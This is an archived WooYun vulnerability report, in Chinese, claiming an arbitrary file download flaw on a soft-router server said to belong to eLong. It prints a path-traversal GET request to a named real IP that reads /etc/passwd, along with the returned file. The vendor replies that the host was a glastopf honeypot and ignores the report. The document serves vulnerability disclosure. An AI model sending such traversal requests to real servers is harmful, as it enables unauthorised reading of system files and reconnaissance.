漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-040848
漏洞标题：艺龙旅行网某软路由服务器任意系统文件下载漏洞
相关厂商：艺龙旅行网
漏洞作者： 霍大然
提交时间：2013-10-24 09:23
修复时间：2013-10-24 12:15
公开时间：2013-10-24 12:15
漏洞类型：任意文件遍历/下载
危害等级：高
自评Rank：11
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-24： 细节已通知厂商并且等待厂商处理中
2013-10-24： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
艺龙旅行网某软路由服务器任意系统文件下载漏洞
详细说明：
服务器地址：
http://211.151.230.34/
可以看到是个ROUTER OS的软路由，而且从下图可以看出该服务器是elong的：
GET请求：
Request
GET /../../../../../../../../../../etc/passwd HTTP/1.1
Referer: http://211.151.230.34:80/
Host: 211.151.230.34
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
moqingzhu:x:1000:1000:cae-yhoneypot1,,,:/home/moqingzhu:/bin/bash
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
mongodb:x:106:65534::/home/mongodb:/bin/false
postfix:x:107:115::/var/spool/postfix:/bin/false
漏洞证明：
/etc/resolv.conf文件，可以看到内网DNS：
服务：
修复方案：
可能是软路由版本过低，升级下
版权声明：转载请注明来源 霍大然@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2013-10-24 12:15
厂商回复：
这世界上有一种东西叫glastopf……
感谢霍大然对艺龙安全的关注，也感谢你提供完整的截图（特别是第一幅），使我们不至于跳进黄河也洗不清。
但事到如今我们也只好把站点撤下来了。
最新状态：
暂无